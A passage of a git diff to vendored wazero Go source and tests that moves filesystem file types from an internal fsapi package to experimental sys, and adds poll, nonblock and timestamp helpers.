-// SetAppend implements the same method as documented on fsapi.File
+// SetAppend implements the same method as documented on sys.File
func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) {
return fileError(f, f.closed, experimentalsys.ENOSYS)
}
-// Stat implements the same method as documented on fsapi.File
+// Stat implements the same method as documented on sys.File
func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
if f.closed {
return sys.Stat_t{}, experimentalsys.EBADF
@@ -185,7 +186,7 @@ func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
return st, errno
}
-// Read implements the same method as documented on fsapi.File
+// Read implements the same method as documented on sys.File
func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) {
if n, errno = read(f.file, buf); errno != 0 {
// Defer validation overhead until we've already had an error.
@@ -194,7 +195,7 @@ func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) {
return
}
-// Pread implements the same method as documented on fsapi.File
+// Pread implements the same method as documented on sys.File
func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if ra, ok := f.file.(io.ReaderAt); ok {
if n, errno = pread(ra, buf, off); errno != 0 {
@@ -233,7 +234,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errn
return
}
-// Seek implements the same method as documented on fsapi.File
+// Seek implements the same method as documented on sys.File
func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
// If this is a directory, and we're attempting to seek to position zero,
// we have to re-open the file to ensure the directory state is reset.
@@ -256,12 +257,12 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experime
return
}
-// Readdir implements the same method as documented on fsapi.File
+// Readdir implements the same method as documented on sys.File
//
// Notably, this uses readdirFile or fs.ReadDirFile if available. This does not
// return inodes on windows.
-func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
- // Windows lets you Readdir after close, fs.File also may not implement
+func (f *fsFile) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) {
+ // Windows lets you Readdir after close, FS.File also may not implement
// close in a meaningful way. read our closed field to return consistent
// results.
if f.closed {
@@ -277,7 +278,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E
}
if of, ok := f.file.(readdirFile); ok {
- // We can't use f.name here because it is the path up to the fsapi.FS,
+ // We can't use f.name here because it is the path up to the sys.FS,
// not necessarily the real path. For this reason, Windows may not be
// able to populate inodes. However, Darwin and Linux will.
if dirents, errno = readdir(of, "", n); errno != 0 {
@@ -286,17 +287,17 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E
return
}
- // Try with fs.ReadDirFile which is available on api.FS implementations
- // like embed:fs.
+ // Try with FS.ReadDirFile which is available on api.FS implementations
+ // like embed:FS.
if rdf, ok := f.file.(fs.ReadDirFile); ok {
entries, e := rdf.ReadDir(n)
if errno = adjustReaddirErr(f, f.closed, e); errno != 0 {
return
}
- dirents = make([]fsapi.Dirent, 0, len(entries))
+ dirents = make([]experimentalsys.Dirent, 0, len(entries))
for _, e := range entries {
// By default, we don't attempt to read inode data
- dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()})
+ dirents = append(dirents, experimentalsys.Dirent{Name: e.Name(), Type: e.Type()})
}
} else {
errno = experimentalsys.EBADF // not a directory
@@ -304,7 +305,7 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.E
return
}
-// Write implements the same method as documented on fsapi.File.
+// Write implements the same method as documented on sys.File.
func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) {
if w, ok := f.file.(io.Writer); ok {
if n, errno = write(w, buf); errno != 0 {
@@ -317,7 +318,7 @@ func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) {
return
}
-// Pwrite implements the same method as documented on fsapi.File.
+// Pwrite implements the same method as documented on sys.File.
func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if wa, ok := f.file.(io.WriterAt); ok {
if n, errno = pwrite(wa, buf, off); errno != 0 {
@@ -330,7 +331,7 @@ func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Err
return
}
-// Close implements the same method as documented on fsapi.File.
+// Close implements the same method as documented on sys.File.
func (f *fsFile) Close() experimentalsys.Errno {
if f.closed {
return 0
@@ -343,8 +344,23 @@ func (f *fsFile) close() experimentalsys.Errno {
return experimentalsys.UnwrapOSError(f.file.Close())
}
+// IsNonblock implements the same method as documented on fsapi.File
+func (f *fsFile) IsNonblock() bool {
+ return false
+}
+
+// SetNonblock implements the same method as documented on fsapi.File
+func (f *fsFile) SetNonblock(bool) experimentalsys.Errno {
+ return experimentalsys.ENOSYS
+}
+
+// Poll implements the same method as documented on fsapi.File
+func (f *fsFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) {
+ return false, experimentalsys.ENOSYS
+}
+
// dirError is used for commands that work against a directory, but not a file.
-func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
+func dirError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
if vErrno := validate(f, isClosed, false, true); vErrno != 0 {
return vErrno
}
@@ -352,7 +368,7 @@ func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experime
}
// fileError is used for commands that work against a file, but not a directory.
-func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
+func fileError(f experimentalsys.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
if vErrno := validate(f, isClosed, true, false); vErrno != 0 {
return vErrno
}
@@ -360,7 +376,7 @@ func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experim
}
// validate is used to making syscalls which will fail.
-func validate(f fsapi.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno {
+func validate(f experimentalsys.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno {
if isClosed {
return experimentalsys.EBADF
}
@@ -426,13 +442,13 @@ type readdirFile interface {
}
// readdir uses readdirFile.Readdir, special casing windows when path !="".
-func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
+func readdir(f readdirFile, path string, n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) {
fis, e := f.Readdir(n)
if errno = experimentalsys.UnwrapOSError(e); errno != 0 {
return
}
- dirents = make([]fsapi.Dirent, 0, len(fis))
+ dirents = make([]experimentalsys.Dirent, 0, len(fis))
// linux/darwin won't have to fan out to lstat, but windows will.
var ino sys.Inode
@@ -443,7 +459,7 @@ func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno e
if ino, errno = inoFromFileInfo(path, t); errno != 0 {
return
}
- dirents = append(dirents, fsapi.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()})
+ dirents = append(dirents, experimentalsys.Dirent{Name: t.Name(), Ino: ino, Type: t.Mode().Type()})
}
return
}
@@ -465,3 +481,40 @@ func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys.
n, err := w.WriteAt(buf, off)
return n, experimentalsys.UnwrapOSError(err)
}
+
+func chtimes(path string, atim, mtim int64) (errno experimentalsys.Errno) { //nolint:unused
+ // When both inputs are omitted, there is nothing to change.
+ if atim == experimentalsys.UTIME_OMIT && mtim == experimentalsys.UTIME_OMIT {
+ return
+ }
+
+ // UTIME_OMIT is expensive until progress is made in Go, as it requires a
+ // stat to read-back the value to re-apply.
+ // - https://github.com/golang/go/issues/32558.
+ // - https://go-review.googlesource.com/c/go/+/219638 (unmerged)
+ var st sys.Stat_t
+ if atim == experimentalsys.UTIME_OMIT || mtim == experimentalsys.UTIME_OMIT {
+ if st, errno = stat(path); errno != 0 {
+ return
+ }
+ }
+
+ var atime, mtime time.Time
+ if atim == experimentalsys.UTIME_OMIT {
+ atime = epochNanosToTime(st.Atim)
+ mtime = epochNanosToTime(mtim)
+ } else if mtim == experimentalsys.UTIME_OMIT {
+ atime = epochNanosToTime(atim)
+ mtime = epochNanosToTime(st.Mtim)
+ } else {
+ atime = epochNanosToTime(atim)
+ mtime = epochNanosToTime(mtim)
+ }
+ return experimentalsys.UnwrapOSError(os.Chtimes(path, atime, mtime))
+}
+
+func epochNanosToTime(epochNanos int64) time.Time { //nolint:unused
+ seconds := epochNanos / 1e9
+ nanos := epochNanos % 1e9
+ return time.Unix(seconds, nanos)
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go
index 6023fa9b76..1b97eb860a 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go
+++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_test.go
@@ -9,7 +9,6 @@ import (
"runtime"
"testing"
gofstest "testing/fstest"
- "time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
@@ -54,7 +53,7 @@ func TestRegularFileSetNonblock(t *testing.T) {
defer r.Close()
defer w.Close()
- rF := newOsFile("", fsapi.O_RDONLY, 0, r)
+ rF := newOsFile("", experimentalsys.O_RDONLY, 0, r)
errno := rF.SetNonblock(true)
require.EqualErrno(t, 0, errno)
@@ -78,13 +77,13 @@ func TestReadFdNonblock(t *testing.T) {
defer w.Close()
fd := r.Fd()
- err = setNonblock(fd, true)
- require.NoError(t, err)
+ errno := setNonblock(fd, true)
+ require.EqualErrno(t, 0, errno)
// Read from the file without ever writing to it should not block.
buf := make([]byte, 8)
- _, e := readFd(fd, buf)
- require.EqualErrno(t, experimentalsys.EAGAIN, e)
+ _, errno = readFd(fd, buf)
+ require.EqualErrno(t, experimentalsys.EAGAIN, errno)
}
func TestWriteFdNonblock(t *testing.T) {
@@ -95,9 +94,9 @@ func TestWriteFdNonblock(t *testing.T) {
defer w.Close()
fd := w.Fd()
- err = setNonblock(fd, true)
+ errno := setNonblock(fd, true)
- require.NoError(t, err)
+ require.EqualErrno(t, 0, errno)
// Create a buffer (the content is not relevant)
buf := make([]byte, 1024)
@@ -125,7 +124,7 @@ func TestFileSetAppend(t *testing.T) {
require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600))
// Open without APPEND.
- f, errno := OpenOSFile(fPath, fsapi.O_RDWR, 0o600)
+ f, errno := OpenOSFile(fPath, experimentalsys.O_RDWR, 0o600)
require.EqualErrno(t, 0, errno)
require.False(t, f.IsAppend())
@@ -186,7 +185,7 @@ func TestFileIno(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
- d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0)
+ d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
@@ -200,7 +199,7 @@ func TestFileIno(t *testing.T) {
}
t.Run("OS", func(t *testing.T) {
- d, errno := OpenOSFile(tmpDir, fsapi.O_RDONLY, 0)
+ d, errno := OpenOSFile(tmpDir, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
@@ -213,7 +212,7 @@ func TestFileIno(t *testing.T) {
})
}
-// statSetsIno returns true if this will set fsapi.Stat_t Ino on stat. The
+// statSetsIno returns true if this will set sys.Stat_t Ino on stat. The
// reverse doesn't mean it won't. Rather it is inconsistent. This is needed
// because Windows on Go 1.18 sometimes, but not always returns non-zero inode.
func statSetsIno() bool {
@@ -244,7 +243,7 @@ func TestFileIsDir(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Run("file", func(t *testing.T) {
- f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0)
+ f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -254,7 +253,7 @@ func TestFileIsDir(t *testing.T) {
})
t.Run("dir", func(t *testing.T) {
- d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0)
+ d, errno := OpenFSFile(tc.fs, ".", experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
@@ -266,7 +265,7 @@ func TestFileIsDir(t *testing.T) {
}
t.Run("OS dir", func(t *testing.T) {
- d, errno := OpenOSFile(t.TempDir(), fsapi.O_RDONLY, 0)
+ d, errno := OpenOSFile(t.TempDir(), experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
@@ -294,7 +293,7 @@ func TestFileReadAndPread(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
- f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0)
+ f, errno := OpenFSFile(tc.fs, wazeroFile, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -320,7 +319,9 @@ func TestFileReadAndPread(t *testing.T) {
}
}
-func TestFilePollRead(t *testing.T) {
+func TestFilePoll_POLLIN(t *testing.T) {
+ pflag := fsapi.POLLIN
+
// Test using os.Pipe as it is known to support poll.
r, w, err := os.Pipe()
require.NoError(t, err)
@@ -330,10 +331,10 @@ func TestFilePollRead(t *testing.T) {
rF, err := NewStdioFile(true, r)
require.NoError(t, err)
buf := make([]byte, 10)
- timeout := time.Duration(0) // return immediately
+ timeout := int32(0) // return immediately
// When there's nothing in the pipe, it isn't ready.
- ready, errno := rF.PollRead(&timeout)
+ ready, errno := rF.Poll(pflag, timeout)
require.EqualErrno(t, 0, errno)
require.False(t, ready)
@@ -343,7 +344,7 @@ func TestFilePollRead(t *testing.T) {
require.NoError(t, err)
// We should now be able to poll ready
- ready, errno = rF.PollRead(&timeout)
+ ready, errno = rF.Poll(pflag, timeout)
require.EqualErrno(t, 0, errno)
require.True(t, ready)
@@ -354,13 +355,32 @@ func TestFilePollRead(t *testing.T) {
require.Equal(t, expected, buf[:len(expected)])
}
-func requireRead(t *testing.T, f fsapi.File, buf []byte) {
+func TestFilePoll_POLLOUT(t *testing.T) {
+ pflag := fsapi.POLLOUT
+
+ // Test using os.Pipe as it is known to support poll.
+ r, w, err := os.Pipe()
+ require.NoError(t, err)
+ defer r.Close()
+ defer w.Close()
+
+ wF, err := NewStdioFile(false, w)
+ require.NoError(t, err)
+ timeout := int32(0) // return immediately
+
+ // We don't yet implement write blocking.
+ ready, errno := wF.Poll(pflag, timeout)
+ require.EqualErrno(t, experimentalsys.ENOTSUP, errno)
+ require.False(t, ready)
+}
+
+func requireRead(t *testing.T, f experimentalsys.File, buf []byte) {
n, errno := f.Read(buf)
require.EqualErrno(t, 0, errno)
require.Equal(t, len(buf), n)
}
-func requirePread(t *testing.T, f fsapi.File, buf []byte, off int64) {
+func requirePread(t *testing.T, f experimentalsys.File, buf []byte, off int64) {
n, errno := f.Pread(buf, off)
require.EqualErrno(t, 0, errno)
require.Equal(t, len(buf), n)
@@ -384,7 +404,7 @@ func TestFileRead_empty(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
- f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0)
+ f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -417,7 +437,7 @@ func TestFilePread_Unsupported(t *testing.T) {
embedFS, err := fs.Sub(testdata, "testdata")
require.NoError(t, err)
- f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0)
+ f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -431,20 +451,20 @@ func TestFileRead_Errors(t *testing.T) {
path := path.Join(t.TempDir(), emptyFile)
// Open the file write-only
- flag := fsapi.O_WRONLY | fsapi.O_CREAT
+ flag := experimentalsys.O_WRONLY | experimentalsys.O_CREAT
f := requireOpenFile(t, path, flag, 0o600)
defer f.Close()
buf := make([]byte, 5)
tests := []struct {
name string
- fn func(fsapi.File) experimentalsys.Errno
+ fn func(experimentalsys.File) experimentalsys.Errno
}{
- {name: "Read", fn: func(f fsapi.File) experimentalsys.Errno {
+ {name: "Read", fn: func(f experimentalsys.File) experimentalsys.Errno {
_, errno := f.Read(buf)
return errno
}},
- {name: "Pread", fn: func(f fsapi.File) experimentalsys.Errno {
+ {name: "Pread", fn: func(f experimentalsys.File) experimentalsys.Errno {
_, errno := f.Pread(buf, 0)
return errno
}},
@@ -470,19 +490,19 @@ func TestFileSeek(t *testing.T) {
tests := []struct {
name string
- openFile func(string) (fsapi.File, experimentalsys.Errno)
+ openFile func(string) (experimentalsys.File, experimentalsys.Errno)
}{
- {name: "fsFile os.DirFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
- return OpenFSFile(dirFS, name, fsapi.O_RDONLY, 0)
+ {name: "fsFile os.DirFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) {
+ return OpenFSFile(dirFS, name, experimentalsys.O_RDONLY, 0)
}},
- {name: "fsFile embed.api.FS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
- return OpenFSFile(embedFS, name, fsapi.O_RDONLY, 0)
+ {name: "fsFile embed.api.FS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) {
+ return OpenFSFile(embedFS, name, experimentalsys.O_RDONLY, 0)
}},
- {name: "fsFile fstest.MapFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
- return OpenFSFile(mapFS, name, fsapi.O_RDONLY, 0)
+ {name: "fsFile fstest.MapFS", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) {
+ return OpenFSFile(mapFS, name, experimentalsys.O_RDONLY, 0)
}},
- {name: "osFile", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
- return OpenOSFile(path.Join(tmpDir, name), fsapi.O_RDONLY, 0o666)
+ {name: "osFile", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) {
+ return OpenOSFile(path.Join(tmpDir, name), experimentalsys.O_RDONLY, 0o666)
}},
}
@@ -560,7 +580,7 @@ func TestFileSeek(t *testing.T) {
require.Equal(t, direntCount, len(dirents))
})
- seekToZero := func(f fsapi.File) experimentalsys.Errno {
+ seekToZero := func(f experimentalsys.File) experimentalsys.Errno {
_, errno := f.Seek(0, io.SeekStart)
return errno
}
@@ -569,7 +589,7 @@ func TestFileSeek(t *testing.T) {
}
}
-func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 {
+func requireSeek(t *testing.T, f experimentalsys.File, off int64, whence int) int64 {
n, errno := f.Seek(off, whence)
require.EqualErrno(t, 0, errno)
return n
@@ -591,7 +611,7 @@ func TestFileSeek_empty(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
- f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0)
+ f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -614,7 +634,7 @@ func TestFileSeek_Unsupported(t *testing.T) {
embedFS, err := fs.Sub(testdata, "testdata")
require.NoError(t, err)
- f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0)
+ f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -623,10 +643,10 @@ func TestFileSeek_Unsupported(t *testing.T) {
}
func TestFileWriteAndPwrite(t *testing.T) {
- // fsapi.FS doesn't support writes, and there is no other built-in
+ // sys.FS doesn't support writes, and there is no other built-in
// implementation except os.File.
path := path.Join(t.TempDir(), wazeroFile)
- f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
+ f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600)
defer f.Close()
text := "wazero"
@@ -663,36 +683,36 @@ func TestFileWriteAndPwrite(t *testing.T) {
require.Equal(t, "wazerowazeroero", string(b))
}
-func requireWrite(t *testing.T, f fsapi.File, buf []byte) {
+func requireWrite(t *testing.T, f experimentalsys.File, buf []byte) {
n, errno := f.Write(buf)
require.EqualErrno(t, 0, errno)
require.Equal(t, len(buf), n)
}
-func requirePwrite(t *testing.T, f fsapi.File, buf []byte, off int64) {
+func requirePwrite(t *testing.T, f experimentalsys.File, buf []byte, off int64) {
n, errno := f.Pwrite(buf, off)
require.EqualErrno(t, 0, errno)
require.Equal(t, len(buf), n)
}
func TestFileWrite_empty(t *testing.T) {
- // fsapi.FS doesn't support writes, and there is no other built-in
+ // sys.FS doesn't support writes, and there is no other built-in
// implementation except os.File.
path := path.Join(t.TempDir(), emptyFile)
- f := requireOpenFile(t, path, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
+ f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600)
defer f.Close()
tests := []struct {
name string
- fn func(fsapi.File, []byte) (int, experimentalsys.Errno)
+ fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno)
}{
- {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
+ {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) {
return f.Write(buf)
}},
- {name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
+ {name: "Pwrite from zero", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) {
return f.Pwrite(buf, 0)
}},
- {name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
+ {name: "Pwrite from 3", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) {
return f.Pwrite(buf, 3)
}},
}
@@ -719,19 +739,19 @@ func TestFileWrite_Unsupported(t *testing.T) {
embedFS, err := fs.Sub(testdata, "testdata")
require.NoError(t, err)
- // Use fsapi.O_RDWR so that it fails due to type not flags
- f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, fsapi.O_RDWR, 0)
+ // Use sys.O_RDWR so that it fails due to type not flags
+ f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, experimentalsys.O_RDWR, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
tests := []struct {
name string
- fn func(fsapi.File, []byte) (int, experimentalsys.Errno)
+ fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno)
}{
- {name: "Write", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
+ {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) {
return f.Write(buf)
}},
- {name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, experimentalsys.Errno) {
+ {name: "Pwrite", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) {
return f.Pwrite(buf, 0)
}},
}
@@ -756,20 +776,20 @@ func TestFileWrite_Errors(t *testing.T) {
require.NoError(t, of.Close())
// Open the file read-only
- flag := fsapi.O_RDONLY
+ flag := experimentalsys.O_RDONLY
f := requireOpenFile(t, path, flag, 0o600)
defer f.Close()
buf := []byte("wazero")
tests := []struct {
name string
- fn func(fsapi.File) experimentalsys.Errno
+ fn func(experimentalsys.File) experimentalsys.Errno
}{
- {name: "Write", fn: func(f fsapi.File) experimentalsys.Errno {
+ {name: "Write", fn: func(f experimentalsys.File) experimentalsys.Errno {
_, errno := f.Write(buf)
return errno
}},
- {name: "Pwrite", fn: func(f fsapi.File) experimentalsys.Errno {
+ {name: "Pwrite", fn: func(f experimentalsys.File) experimentalsys.Errno {
_, errno := f.Pwrite(buf, 0)
return errno
}},
@@ -790,30 +810,30 @@ func TestFileWrite_Errors(t *testing.T) {
}
func TestFileSync_NoError(t *testing.T) {
- testSync_NoError(t, fsapi.File.Sync)
+ testSync_NoError(t, experimentalsys.File.Sync)
}
func TestFileDatasync_NoError(t *testing.T) {
- testSync_NoError(t, fsapi.File.Datasync)
+ testSync_NoError(t, experimentalsys.File.Datasync)
}
-func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
+func testSync_NoError(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) {
roPath := "file_test.go"
- ro, errno := OpenFSFile(embedFS, roPath, fsapi.O_RDONLY, 0)
+ ro, errno := OpenFSFile(embedFS, roPath, experimentalsys.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer ro.Close()
rwPath := path.Join(t.TempDir(), "datasync")
- rw, errno := OpenOSFile(rwPath, fsapi.O_CREAT|fsapi.O_RDWR, 0o600)
+ rw, errno := OpenOSFile(rwPath, experimentalsys.O_CREAT|experimentalsys.O_RDWR, 0o600)
require.EqualErrno(t, 0, errno)
defer rw.Close()
tests := []struct {
name string
- f fsapi.File
+ f experimentalsys.File
}{
- {name: "UnimplementedFile", f: fsapi.UnimplementedFile{}},
- {name: "File of read-only fs.File", f: ro},
+ {name: "UnimplementedFile", f: experimentalsys.UnimplementedFile{}},
+ {name: "File of read-only FS.File", f: ro},
{name: "File of os.File", f: rw},
}
@@ -827,20 +847,20 @@ func testSync_NoError(t *testing.T, sync func(fsapi.File) experimentalsys.Errno)
}
func TestFileSync(t *testing.T) {
- testSync(t, fsapi.File.Sync)
+ testSync(t, experimentalsys.File.Sync)
}
func TestFileDatasync(t *testing.T) {
- testSync(t, fsapi.File.Datasync)
+ testSync(t, experimentalsys.File.Datasync)
}
// testSync doesn't guarantee sync works because the operating system may
// sync anyway. There is no test in Go for syscall.Fdatasync, but closest is
// similar to below. Effectively, this only tests that things don't error.
-func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
+func testSync(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) {
// Even though it is invalid, try to sync a directory
dPath := t.TempDir()
- d := requireOpenFile(t, dPath, fsapi.O_RDONLY, 0)
+ d := requireOpenFile(t, dPath, experimentalsys.O_RDONLY, 0)
defer d.Close()
errno := sync(d)
@@ -848,7 +868,7 @@ func testSync(t *testing.T, sync func(fsapi.File) experimentalsys.Errno) {
fPath := path.Join(dPath, t.Name())
- f := requireOpenFile(t, fPath, fsapi.O_RDWR|fsapi.O_CREAT, 0o600)
+ f := requireOpenFile(t, fPath, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600)
defer f.Close()
expected := "hello world!"
@@ -929,7 +949,7 @@ func TestFileTruncate(t *testing.T) {
})
}
- truncateToZero := func(f fsapi.File) experimentalsys.Errno {
+ truncateToZero := func(f experimentalsys.File) experimentalsys.Errno {
return f.Truncate(0)
}
@@ -965,11 +985,11 @@ func TestFileUtimens(t *testing.T) {
testUtimens(t, true)
- testEBADFIfFileClosed(t, func(f fsapi.File) experimentalsys.Errno {
- return f.Utimens(nil)
+ testEBADFIfFileClosed(t, func(f experimentalsys.File) experimentalsys.Errno {
+ return f.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT)
})
- testEBADFIfDirClosed(t, func(d fsapi.File) experimentalsys.Errno {
- return d.Utimens(nil)
+ testEBADFIfDirClosed(t, func(d experimentalsys.File) experimentalsys.Errno {
+ return d.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT)
})
}
@@ -997,7 +1017,7 @@ func TestNewStdioFile(t *testing.T) {
tests := []struct {
name string
- f fsapi.File
+ f experimentalsys.File
// Depending on how the tests run, os.Stdin won't necessarily be a char
// device. We compare against an os.File, to account for this.
expectedType fs.FileMode
@@ -1042,9 +1062,9 @@ func TestNewStdioFile(t *testing.T) {
}
}
-func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
+func testEBADFIfDirClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool {
return t.Run("EBADF if dir closed", func(t *testing.T) {
- d := requireOpenFile(t, t.TempDir(), fsapi.O_RDONLY, 0o755)
+ d := requireOpenFile(t, t.TempDir(), experimentalsys.O_RDONLY, 0o755)
// close the directory underneath
require.EqualErrno(t, 0, d.Close())
@@ -1053,7 +1073,7 @@ func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errn
})
}
-func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
+func testEBADFIfFileClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool {
return t.Run("EBADF if file closed", func(t *testing.T) {
tmpDir := t.TempDir()
@@ -1066,24 +1086,24 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) experimentalsys.Err
})
}
-func testEISDIR(t *testing.T, fn func(fsapi.File) experimentalsys.Errno) bool {
+func testEISDIR(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool {
return t.Run("EISDIR if directory", func(t *testing.T) {
- f := requireOpenFile(t, os.TempDir(), fsapi.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
+ f := requireOpenFile(t, os.TempDir(), experimentalsys.O_RDONLY|experimentalsys.O_DIRECTORY, 0o666)
defer f.Close()
require.EqualErrno(t, experimentalsys.EISDIR, fn(f))
})
}
-func openForWrite(t *testing.T, path string, content []byte) fsapi.File {
+func openForWrite(t *testing.T, path string, content []byte) experimentalsys.File {
require.NoError(t, os.WriteFile(path, content, 0o0666))
- f := requireOpenFile(t, path, fsapi.O_RDWR, 0o666)
+ f := requireOpenFile(t, path, experimentalsys.O_RDWR, 0o666)
_, errno := f.Write(content)
require.EqualErrno(t, 0, errno)
return f
}
-func requireOpenFile(t *testing.T, path string, flag fsapi.Oflag, perm fs.FileMode) fsapi.File {
